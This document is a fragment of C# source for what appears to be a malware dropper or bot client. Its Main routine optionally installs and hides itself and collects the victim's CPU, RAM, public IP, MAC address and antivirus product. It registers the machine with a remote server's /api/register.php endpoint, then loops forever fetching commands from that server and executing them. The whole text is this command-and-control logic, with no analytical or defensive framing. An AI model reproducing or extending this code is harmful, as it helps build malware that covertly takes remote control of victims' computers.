/// <summary> /// Attempts to register the client to the webserver /// Use of Login returns false /// </summary> /// <param name="requestSender">RequestSender instance</param> /// <param name="systemInfo">InfoGatherer instance, contains system information</param> /// <returns></returns> private static bool Register(RequestSender requestSender, InfoGatherer systemInfo) { var formEncoder = new FormEncoder(); var registerData = formEncoder.CreateRegisterData(systemInfo.CPU, systemInfo.RamInfo, systemInfo.PublicIP, systemInfo.MacAddress, systemInfo.AV); var registerRequest = new RegisterRequest("/api/register.php", registerData); var registerResponse = requestSender.SendRequest(registerRequest); var jsonResponseData = JsonParser.Deserialize(registerResponse); return(jsonResponseData["message"].ToString().ToLower() == "succes"); }
private static void Main() { var dropperSettings = new Settings(); var httpConnection = new ServerConnection(dropperSettings.hostname); var requestSender = new RequestSender(httpConnection); if (dropperSettings.Install) { var installer = new DropperInstaller(dropperSettings.Hide, (DropperInstaller.InstallLocation)dropperSettings.InstallLocation); var installationThread = new Thread(() => installer.Install()); installationThread.Start(); } if (!httpConnection.CanConnect()) { return; } var systemInformation = new InfoGatherer(); if (!Login(requestSender, systemInformation.MacAddress)) { if (!Register(requestSender, systemInformation)) { Environment.Exit(0); } } while (true) { var newCommand = GetCommand(requestSender, systemInformation.MacAddress); newCommand.Execute(); Thread.Sleep(dropperSettings.TimeOut); } }